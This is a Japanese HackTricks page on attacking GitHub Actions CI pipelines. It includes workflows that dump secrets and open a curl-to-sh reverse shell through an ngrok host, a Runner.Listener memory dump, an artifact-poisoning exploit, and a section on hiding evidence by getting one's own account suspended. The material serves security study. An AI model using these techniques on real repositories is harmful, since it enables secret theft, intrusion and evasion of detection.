Abusing Github Actions

Support HackTricks

Basic Information

このページでは以下の内容を見つけることができます:

  • 攻撃者がGithub Actionにアクセスすることによるすべての影響の概要

  • アクションにアクセスするためのさまざまな方法:

  • アクションを作成する権限を持つ

  • プルリクエスト関連のトリガーを悪用する

  • 他の外部アクセス技術を悪用する

  • すでに侵害されたリポジトリからのピボット

  • 最後に、内部からアクションを悪用するためのポストエクスプロイト技術に関するセクション(影響を引き起こす)

Impacts Summary

Github Actionsの基本情報についての紹介。

任意のGithubアクションを実行/コードを注入できる場合、リポジトリで以下のことが可能になるかもしれません:

  • そのリポジトリ/組織のシークレット盗む

  • 注入のみが可能な場合、ワークフローに既に存在するものを盗むことができます。

  • リポジトリの権限を悪用して、AWSやGCPなどの他のプラットフォームにアクセスする。

  • カスタムワーカーでコードを実行(カスタムワーカーが使用されている場合)し、そこからピボットを試みる。

  • リポジトリのコードを上書きする。

  • これはGITHUB_TOKENの権限(ある場合)に依存します。

  • デプロイやその他のアーティファクト侵害する。

  • コードが何かをデプロイまたは保存している場合、それを変更してさらにアクセスを得ることができます。

GITHUB_TOKEN

この「シークレット」(${{ secrets.GITHUB_TOKEN }}および${{ github.token }}から取得)は、管理者がこのオプションを有効にしたときに与えられます:

このトークンはGithubアプリケーションが使用するものと同じであり、同じエンドポイントにアクセスできます:https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Githubは、リポジトリがGITHUB_TOKENを使用して他の内部リポジトリにアクセスできるようにするフローをリリースするべきです。

このトークンの権限の可能性については、以下を参照してください:https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

このトークンはジョブが完了した後に期限切れになることに注意してください。 これらのトークンは次のようになります:ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

このトークンでできる興味深いこと:

いくつかの場面で、Github Actionsの環境やシークレットの中にgithubユーザートークンを見つけることができることに注意してください。これらのトークンは、リポジトリや組織に対してより多くの権限を与える可能性があります。

Github Actionの出力でシークレットをリストする

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

secretsを使ってリバースシェルを取得する

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

他のユーザーのリポジトリでGithub Tokenに与えられた権限をログをチェックすることで確認することが可能です:

許可された実行

これはGithub Actionsを危険にさらす最も簡単な方法です。このケースでは、組織内で新しいリポジトリを作成するアクセス権を持っているか、リポジトリに対する書き込み権限を持っていることを前提としています。

このシナリオにいる場合は、Post Exploitation techniquesを確認するだけです。

リポジトリ作成からの実行

組織のメンバーが新しいリポジトリを作成でき、Github Actionsを実行できる場合、新しいリポジトリを作成し、組織レベルで設定されたシークレットを盗むことができます。

新しいブランチからの実行

既にGithub Actionが設定されているリポジトリで新しいブランチを作成できる場合、そのアクションを修正し、アップロードしてから新しいブランチからそのアクションを実行することができます。この方法でリポジトリおよび組織レベルのシークレットを流出させることができます(ただし、それらの名前を知っている必要があります)。

修正されたアクションを手動でPRが作成されたとき、またはコードがプッシュされたときに実行可能にすることができます(どれだけ目立ちたくないかによります):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

フォークされた実行

攻撃者が他のリポジトリのGithub Actionを実行することを可能にするさまざまなトリガーがあります。これらのトリガー可能なアクションが不適切に構成されている場合、攻撃者はそれらを侵害することができます。

pull_request

ワークフロートリガー pull_request は、いくつかの例外を除いて、プルリクエストが受信されるたびにワークフローを実行します。デフォルトでは、初めてコラボレーションする場合、メンテナーがワークフローの実行承認する必要があります:

デフォルトの制限初回の貢献者に対するものであるため、有効なバグ/タイプミスを修正してから、新しいpull_request権限を悪用する他のPRを送信することができます。

これをテストしましたが、うまくいきません別のオプションとして、プロジェクトに貢献してアカウントを削除した人の名前でアカウントを作成することも考えられます。

さらに、デフォルトでは、ドキュメントに記載されているように、ターゲットリポジトリへの書き込み権限シークレットアクセスを防ぎます:

GITHUB_TOKENを除いて、シークレットはフォークされたリポジトリからトリガーされたワークフローには渡されません。プルリクエストでは、GITHUB_TOKENは読み取り専用権限を持ちます。

攻撃者はGithub Actionの定義を変更して任意のことを実行し、任意のアクションを追加することができます。しかし、前述の制限のため、シークレットを盗んだりリポジトリを上書きしたりすることはできません。

はい、攻撃者がPRでトリガーされるGithub Actionを変更すると、彼のGithub Actionが使用され、元のリポジトリのものではなくなります!

攻撃者が実行されるコードも制御しているため、GITHUB_TOKENにシークレットや書き込み権限がなくても、攻撃者は例えば悪意のあるアーティファクトをアップロードすることができます。

pull_request_target

ワークフロートリガー pull_request_target はターゲットリポジトリへの書き込み権限シークレットへのアクセスを持ちます(許可を求めません)。

ワークフロートリガー pull_request_targetベースコンテキストで実行され、PRによって与えられるものではありません(信頼できないコードを実行しないため)。pull_request_targetについての詳細はドキュメントを参照してください。 さらに、この特定の危険な使用についての詳細はこのgithubブログ記事を参照してください。

実行されるワークフローベースで定義されたものであり、PRではないため、pull_request_targetの使用は安全に見えるかもしれませんが、いくつかのケースではそうではありません

そして、このトリガーはシークレットへのアクセスを持ちます。

workflow_run

workflow_runトリガーは、別のワークフローがcompletedrequested、またはin_progressのときにワークフローを実行することを許可します。

この例では、別の「Run Tests」ワークフローが完了した後にワークフローが実行されるように構成されています:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

さらに、ドキュメントによると: workflow_run イベントによって開始されたワークフローは、前のワークフローがそうでなくても、シークレットや書き込みトークンにアクセスできる

この種のワークフローは、外部ユーザーが pull_request または pull_request_target を介してトリガーできる ワークフロー依存 している場合、攻撃される可能性があります。いくつかの脆弱な例は このブログ で見つけることができます。最初の例は、workflow_run によってトリガーされたワークフローが攻撃者のコードをダウンロードすることに関するものです: ${{ github.event.pull_request.head.sha }} 2つ目の例は、信頼できない コードから アーティファクトworkflow_run ワークフローに渡し、このアーティファクトの内容を使用して RCE に対して脆弱 にする方法に関するものです。

workflow_call

TODO

TODO: pull_request から実行された場合に使用/ダウンロードされるコードがオリジナルのものかフォークされた PR のものかを確認する

フォークされた実行の悪用

外部の攻撃者が GitHub ワークフローを実行させる方法についてはすべて言及しましたが、次に、この実行が悪く構成されている場合にどのように悪用されるかを見てみましょう:

信頼できないチェックアウトの実行

pull_request の場合、ワークフローは PR のコンテキスト で実行されます(したがって、悪意のある PR のコード が実行されます)が、誰かが 最初に承認する必要があり、いくつかの 制限 があります。

pull_request_target または workflow_run を使用するワークフローの場合、pull_request_target または pull_request からトリガーできるワークフローに依存している場合、オリジナルのリポジトリのコードが実行されるため、攻撃者は実行されるコードを制御できません

しかし、アクション明示的な PR チェックアウト を持ち、PR からコードを取得 する場合(ベースからではなく)、攻撃者が制御するコードが使用されます。例えば(PR コードがダウンロードされる 12 行目を確認してください):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

信頼できないコードが npm install または npm build の間に実行されている可能性があります。ビルドスクリプトと参照される パッケージは PR の作成者によって制御されています

脆弱なアクションを検索するための GitHub dork は: event.pull_request pull_request_target extension:yml です。ただし、アクションが安全でないように構成されていても、ジョブを安全に実行するためのさまざまな方法があります(例えば、PR を生成するアクターに関する条件を使用するなど)。

コンテキストスクリプトインジェクション

特定の GitHub コンテキスト の値は、PR を作成するユーザー によって 制御 されることに注意してください。GitHub アクションがその データを使用して何かを実行する 場合、それは 任意のコード実行 につながる可能性があります:

Gh Actions - Context Script Injections

GITHUB_ENV スクリプトインジェクション

ドキュメントから: 環境変数を定義または更新し、これを GITHUB_ENV 環境ファイルに書き込むことで、ワークフロージョブの後続のステップで環境変数を利用可能にすることができます。

攻撃者がこの env 変数に 任意の値を注入 できる場合、後続のステップでコードを実行できるような環境変数(LD_PRELOADNODE_OPTIONS など)を注入することができます。

例えば、この および この ように、アップロードされたアーティファクトを信頼してその内容を GITHUB_ENV 環境変数に保存するワークフローを想像してください。攻撃者はこれをアップロードしてそれを危険にさらすことができます:

脆弱なサードパーティ GitHub アクション

このブログ記事 で述べられているように、この GitHub アクションは異なるワークフローやリポジトリからアーティファクトにアクセスすることを許可します。

問題は、path パラメータが設定されていない場合、アーティファクトが現在のディレクトリに抽出され、後で使用または実行される可能性のあるファイルを上書きする可能性があることです。したがって、アーティファクトが脆弱である場合、攻撃者はこれを悪用してアーティファクトを信頼する他のワークフローを危険にさらすことができます。

脆弱なワークフローの例:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

これは次のワークフローで攻撃できます:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

その他の外部アクセス

削除されたNamespaceリポジトリのハイジャック

アカウントが名前を変更した場合、一定期間後に他のユーザーがその名前でアカウントを登録することができます。リポジトリが名前変更前に100スター未満であった場合、新しい登録ユーザーは削除されたリポジトリと同じ名前のリポジトリを作成することがGithubによって許可されます。

したがって、アクションが存在しないアカウントのリポジトリを使用している場合でも、攻撃者がそのアカウントを作成してアクションを危険にさらす可能性があります。

他のリポジトリがこのユーザーのリポジトリからの依存関係を使用している場合、攻撃者はそれらをハイジャックすることができます。より詳細な説明はこちらをご覧ください: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


リポジトリのピボット

このセクションでは、最初のリポジトリに何らかのアクセスがあると仮定して、一つのリポジトリから別のリポジトリにピボットするための技術について説明します(前のセクションを参照してください)。

キャッシュポイズニング

キャッシュは同じブランチでのワークフロー実行間で維持されます。つまり、攻撃者がパッケージ危険にさらし、それがキャッシュに保存され、より高い権限を持つワークフローによってダウンロードおよび実行されると、そのワークフローも危険にさらすことができます。

GH Actions - Cache Poisoning

アーティファクトポイズニング

ワークフローは他のワークフローやリポジトリからのアーティファクトを使用することができます。攻撃者がアーティファクトをアップロードするGithub Action危険にさらし、それが後で他のワークフローによって使用される場合、他のワークフローも危険にさらすことができます。

Gh Actions - Artifact Poisoning

アクションからのポストエクスプロイト

OIDCを介したAWSおよびGCPへのアクセス

以下のページを確認してください:

AWS - Federation AbuseGCP - Federation Abuse

シークレットへのアクセス

スクリプトにコンテンツを注入する場合、シークレットにアクセスする方法を知っておくと便利です:

  • シークレットやトークンが環境変数に設定されている場合、**printenv**を使用して環境から直接アクセスできます。

Github Actionの出力でシークレットをリストする

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>シークレットを使ってリバースシェルを取得する</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • シークレットが直接式に使用されている場合、生成されたシェルスクリプトはディスク上に保存され、アクセス可能です。

cat /home/runner/work/_temp/*

* JavaScriptアクションの場合、シークレットは環境変数を通じて送信されます
* ```bash
ps axe | grep node
  • カスタムアクションの場合、プログラムが引数から取得したシークレットをどのように使用するかによってリスクが異なる可能性があります:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Self-hostedランナーの悪用

Github Actionsが非Githubインフラストラクチャで実行されているかどうかを見つける方法は、Github Action構成yamlで**runs-on: self-hosted**を検索することです。

Self-hostedランナーは、追加の機密情報、他のネットワークシステム(ネットワーク内の脆弱なエンドポイント?メタデータサービス?)へのアクセスを持っている可能性があり、隔離され破壊されても、複数のアクションが同時に実行される可能性があり、悪意のあるアクションが他のアクションのシークレットを盗む可能性があります。

Self-hostedランナーでは、_Runner.Listener_**プロセス**からシークレットを取得することも可能で、任意のステップでワークフローのすべてのシークレットをメモリダンプによって含むことができます:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

詳細はこちらの投稿をご覧ください.

Github Docker Images Registry

Github actionsを使用して、DockerイメージをビルドしてGithub内に保存することが可能です。 以下の展開可能な例をご覧ください:

Github Action Build & Push Docker Image

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

前述のコードでわかるように、Githubレジストリは**`ghcr.io`**にホストされています。

リポジトリに対して読み取り権限を持つユーザーは、パーソナルアクセストークンを使用してDockerイメージをダウンロードすることができます:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

次に、ユーザーはDockerイメージレイヤー内の漏洩したシークレットを検索できます:

Github Actionsログ内の機密情報

Githubはアクションログ内のシークレット値を検出し、表示を避けるようにしていますが、アクションの実行中に生成された他の機密データは隠されません。例えば、シークレット値で署名されたJWTは、特定の設定をしない限り隠されません。

証拠隠滅

こちらからのテクニック)まず、提出されたPRはGithubおよびターゲットのGitHubアカウントで公に見える状態です。デフォルトでは、インターネットからPRを削除することはできませんが、裏技があります。Githubによってアカウントが停止された場合、そのアカウントのPRは自動的に削除され、インターネットからも削除されます。したがって、活動を隠すためには、GitHubアカウントを停止させるか、アカウントをフラグ付けする必要があります。これにより、GitHub上のすべての活動がインターネットから隠されます(基本的にすべてのエクスプロイトPRが削除されます)。

GitHubの組織はアカウントを報告するのに非常に積極的です。Issueに「いくつかのもの」を共有するだけで、12時間以内にアカウントが停止され、エクスプロイトがGitHub上で見えなくなります。

組織がターゲットにされたことを確認する唯一の方法は、GitHub UIからPRが削除されるため、SIEMからGitHubログを確認することです。

ツール

以下のツールは、Github Actionワークフローを見つけたり、脆弱なものを見つけたりするのに役立ちます:

Last updated